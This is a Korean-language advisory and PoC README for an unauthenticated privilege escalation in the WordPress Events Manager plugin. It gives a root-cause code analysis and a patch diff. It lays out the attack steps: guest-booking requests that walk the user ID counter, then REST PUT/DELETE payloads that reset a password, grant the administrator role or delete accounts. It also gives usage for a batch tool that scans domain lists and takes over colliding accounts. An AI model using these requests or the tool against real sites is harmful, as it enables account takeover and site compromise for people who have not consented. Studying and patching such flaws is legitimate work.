
WordPress Events Manager < 7.4.1용 인증되지 않은 권한 상승 PoC; 충돌하는 post/user ID를 발견하고 REST 또는 wp-admin을 통해 대상 계정을 관리자로 승격시킵니다.
| 제품 | Events Manager (WordPress 플러그인) |
| 영향을 받는 버전 | 7.1.0 – 7.4.0.x |
| 수정된 버전 | 7.4.1 |
| 취약점 유형 | CWE-269: 부적절한 권한 관리 (Improper Privilege Management) |
| 심각도 | CVSS 3.1: 9.8 (치명적) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| WPVDB ID | 82767ce2-01e4-46ad-a52b-72d3ab2049bd |
| 최초 발견자 | Jakub Herman |
| 분석 보고서 및 PoC | ghostpel |
poc.py) 공개.Events Manager 7.1.0 ~ 7.4.0.x 버전에는 완전히 인증되지 않은 공격자가 플러그인 자체 게시물(event / location / event-recurring / location-recurring) 중 하나의 ID와 충돌하는 ID를 가진 모든 사용자 계정을 탈취할 수 있게 하는 권한 상승 취약점이 존재합니다. 게스트 예약이 활성화된(기본값) 사이트에서는 충돌을 강제할 수 있습니다. 게스트 예약이 발생할 때마다 실제 사용자 계정이 생성되고 wp_users 자동 증가(auto-increment) 카운터가 1씩 증가하므로, 공격자는 사용자 ID 공간을 "걸어서" 이벤트/위치 게시물 ID에 도달할 수 있습니다.
근본 원인: 플러그인의 map_meta_cap 필터는 capability의 객체 ID가 이벤트/위치 게시물로 확인될 때마다 모든 메타 capability에 대해 WordPress가 이미 계산한 capability 목록을 폐기합니다($caps = []). 여기에는 edit_user, delete_user, promote_user, remove_user와 같은 WordPress 핵심(코어) capability도 포함됩니다. 빈 capability 목록은 "필요한 capability 없음"으로 해석됩니다. 즉 로그아웃한 사용자를 포함한 모든 사용자에게 허용(allow) 됨을 의미합니다.
결과(모두 인증되지 않은 상태에서 WP REST API를 통해 가능): 충돌하는 계정의 비밀번호 변경, 해당 계정을 administrator로 승격, 또는 계정 삭제.
분석 대상 버전: 7.4.0.1(취약) — 7.4.1(수정됨)과 diff 비교 수행.
| 버전 | 상태 |
|---|---|
| ≤ 7.0.5 | 영향 없음(기존 em_map_meta_cap은 EM 자체 capability만 처리함) |
| 7.1.0 – 7.4.0.x | 취약(버그가 있는 map_meta_cap을 포함한 아키타입 시스템이 7.1.0에서 도입됨) |
| 7.4.1 |
map_meta_cap이 $caps를 비움classes/em-archetypes.php (버전 7.4.0.1):
결과: X가 이벤트/위치 게시물의 ID와 같을 때마다 모든 current_user_can('edit_user', X) / delete_user / promote_user / remove_user 검사가 TRUE를 반환합니다. 플러그인은 "WordPress가 이미 내린 접근 제어 결정을 폐기"합니다 — WPScan이 설명한 것과 정확히 일치합니다.
7.4.0.1과 7.4.1을 diff 비교하여 확인: 이제 초기화(reset)가 분기별 정확한 capability 일치로 보호됩니다(예: && $c['read'][$post->post_type] == $cap). 따라서 $caps는 요청된 capability가 실제로 아키타입 메타 capability일 때만 비워집니다. 패치 주석: "객체를 수반하는 capability에서 초기화를 수행하면 관련 없는 capability(예: edit_user, promote_user)의 요구 목록이 비워져 허용(allow)으로 해석되었습니다."
REST Users 엔드포인트(/wp-json/wp/v2/users/{id})에는 전역 로그인 게이트가 없습니다. 접근 제어는 전적으로 권한 콜백(permission callback)을 통해서만 이루어지며, 모든 콜백은 동일한 map_meta_cap 필터를 통과합니다:
부작용: 댓글 ID가 이벤트/위치 게시물 ID와 우연히 일치하는 경우 edit_comment도 영향을 받습니다(wp_comments 테이블이 동일한 숫자 공간을 공유함).
충돌은 wp_users.ID와 wp_posts.ID가 독립적인 자동 증가 시퀀스로 필연적으로 겹치기 때문에 발생합니다. 게스트 예약이 이를 강제합니다:
em-install.php:896 — dbem_bookings_anonymous = 1: 게스트 예약 기본 활성화; :871 dbem_bookings_registration_disable = 0(회원가입 활성화).em-actions.php:340-344 — booking_add가 $booking_nopriv_actions에 포함됨 → 로그인 없이 호출 가능(wp_ajax_nopriv_booking_add를 통해, 우선순위 999999, 라인 :817-830, 또는 wp_loaded :11).em-actions.php:360-375 — booking_add 흐름: em_verify_nonce('booking_add') → → → → . (nonce는 CSRF 보호일 뿐이며, nonce는 공개 예약 양식에 렌더링되므로 누구나 획득할 수 있습니다.)감사 중 관찰된 2차 공격 체인(person_id를 통한 예약 귀속) — events-manager.php:430-437 (em_load_event, 로그인 없이 $_REQUEST['person_id']에서 $EM_Person을 가져옴), em-booking.php:1060-1072 (get_person()이 새 예약의 person_id를 재정의함), em-booking.php:2004-2006 (ID 없는 예약에 대해 can_manage() = TRUE), em-functions.php:448-449 — 7.4.1에서도 변경되지 않음; 이는 별개의 벡터(예약 잘못 귀속)로, 이 CVE의 핵심이 아닙니다.
/wp-json/wp/v2/event, 또는 순차 ID 무차별 대입). 대상이 N이라고 가정합니다.N을 얻도록 게스트 예약을 반복 전송합니다:
POST /wp-admin/admin-ajax.php?action=booking_add
event_id=<E>&em_tickets[<T>][spaces]=1
&user_email=attacker%40mail.com&user_name=Attacker
&_wpnonce=<nonce from the public booking form>
N인 계정은 공격자의 소유가 됩니다(비밀번호는 공격자의 이메일로 전송됨).PUT /wp-json/wp/v2/users/N
Content-Type: application/json
{"password":"Pwned123!","roles":["administrator"]}
get_post(N)이 이벤트/위치 게시물로 확인되므로 edit_user + promote_user 권한 콜백이 통과됩니다 → $caps = [].
(기존 계정 — 예: 이전 관리자 — 의 ID가 이미 이벤트 게시물 ID와 충돌하는 N인 경우 2단계는 필요하지 않습니다. 공격자는 해당 계정을 직접 탈취합니다.)event/location CPT가 등록된 상태).poc.pypoc.py는 비동기(asyncio + aiohttp) 일괄(batch) PoC로, 대상별로 다음을 수행합니다: EM 버전 핑거프린팅(취약 범위 [7.1, 7.4.1)으로 제한), 외부에서 접근 가능한 EM 게시물 ID 발견(WP 사이트맵 → /locations/, 선택적으로 예약 양식 크롤링), 발견된 ID에 기존 사용자 계정이 있는지 확인(충돌 조건), 그리고 충돌하는 계정을 승격 — REST 채널을 통해, 또는 REST가 차단된 경우 세션이 제공되면 wp-admin 채널을 통해. 블라인드 사용자 범위 스캔, 게스트 예약, 계정 생성은 수행하지 않습니다.
러너는 모든 I/O를 단일 이벤트 루프에서 다중화하고(I/O 바운드 시 CPU 사용률이 거의 0%, -t는 코어 수 대신 동시성을 제한), 루프에서는 제한된 64 KiB 헤드 청크만 스캔하며, 무거운 파싱(사이트맵 XML, 크롤링 페이지 번들, 프로필 양식)은 asyncio.to_thread를 통해 워커 스레드로 오프로드하고, 모든 페이지 요청에 폴리트니스 딜레이(politeness delay)를 적용합니다. 강제(forcing) 로직 자체는 변경되지 않았습니다(동일한 게이트, 동일한 오라클, 동일한 검증).
py -3 poc.py -l domains.txt # batch (defaults: hasil.txt + id-post.txt)
py -3 poc.py -l domains.txt -t 50 -v
py -3 poc.py https://target.example -v # single domain
py -3 poc.py -l domains.txt --crawl # add booking-page crawl discovery
py -3 poc.py -l domains.txt --wp-login sub --wp-password 'Pass1!' \
--wp-session 'wordpress_logged_in_abc=...' # wp-admin fallback channel
요구 사항: Python 3.9+, pip install aiohttp.
결과는 hasil.txt(확인된 탈취)와 id-post.txt(EM 게시물 ID가 발견된 모든 취약 도메인, collision=yes/no/unknown 포함)로 스트리밍됩니다.
참고: 이 PoC는 7.4.0.1 소스와 7.4.1 패치 diff에 대한 정적 분석을 통해 독립적으로 재구성되었습니다 — WPScan PoC가 아닙니다.
승인된 보안 테스트 전용(AUTHORIZED SECURITY TESTING ONLY). 소유한 시스템 또는 명시적인 서면 허가를 받은 시스템에 대해서만 실행하십시오. 이 PoC는 일반 HTTP 요청을 수행하며 회피(evasion) 기능이 없으므로 로그/IDS에 노출될 수 있습니다.
dbem_bookings_anonymous), WAF 수준에서 users REST 엔드포인트 제한, 비밀번호 변경·역할 승격·계정 삭제 모니터링.| 수정됨 |
| 라인 | 코드 | 역할 |
|---|
:33 | add_filter( 'map_meta_cap', [ static::class, 'map_meta_cap'], 10, 4 ); | 전역 무조건 필터 — 로그아웃한 사용자에 대한 확인을 포함한 WordPress의 모든 메타 capability 검사에서 실행됨 |
:547 | if ( !empty( $args[0] ) ) { | capability의 객체가 게시물 ID로 처리됨 |
:548 | $post = get_post($args[0]); | ID 충돌: 대상 사용자 ID(edit_user 같은 capability의 경우)가 게시물 ID로 취급됨 |
:551 | `if( empty($post->post_type) | |
:563 | `if ( !empty( $c['read'][$post->post_type] ) | |
:564–565 | $caps = []; | capability 목록이 무조건적으로 폐기됨 — 요청된 capability가 read/edit/delete_event 아키타입 capability가 아님에도 불구하고 |
:568/577/584 | if/elseif 분기 | $caps는 $cap이 아키타입 메타 capability와 정확히 일치할 때만 다시 채워짐; edit_user, delete_user, promote_user, remove_user의 경우 일치하는 분기가 없음 → $caps는 빈 상태로 유지됨 |
:597 | return $caps; | 빈 배열 = "필요한 capability 없음" = 사용자 ID 0을 포함한 모든 사용자에게 허용(ALLOW) |
| 작업 | 엔드포인트 / 핵심 함수 | 우회된 capability |
|---|
| 대상 계정의 비밀번호 변경 | PUT /wp-json/wp/v2/users/{id} + {"password":"..."} → wp_update_user() (내부 edit_user 검사) | edit_user |
| 계정을 관리자(Administrator)로 승격 | PUT /wp-json/wp/v2/users/{id} + {"roles":["administrator"]} | promote_user |
| 계정 삭제 | DELETE /wp-json/wp/v2/users/{id}?reassign=... → wp_delete_user() (내부 delete_user 검사) | delete_user |
| (멀티사이트) 블로그에서 사용자 제거 | remove_user | remove_user |
get_post()validate()em_booking_add_registration()$EM_Bookings->add()booking_addem-functions.php:405-417 — 게스트 분기: 공격자의 이메일로 em_register_new_user($user_data) 실행.em-functions.php:510 — wp_insert_user($user_data) → 게스트 예약 1건마다 wp_users 자동 증가가 1씩 진행됨 → 공격자는 사용자 ID 카운터가 원하는 이벤트/위치 게시물 ID에 도달할 때까지 증가 속도를 제어할 수 있음(WPScan: "각 게스트 예약은 실제 사용자 계정을 생성하고 사용자 ID 카운터를 1씩 증가시킵니다").DELETE /wp-json/wp/v2/users/M?reassign=N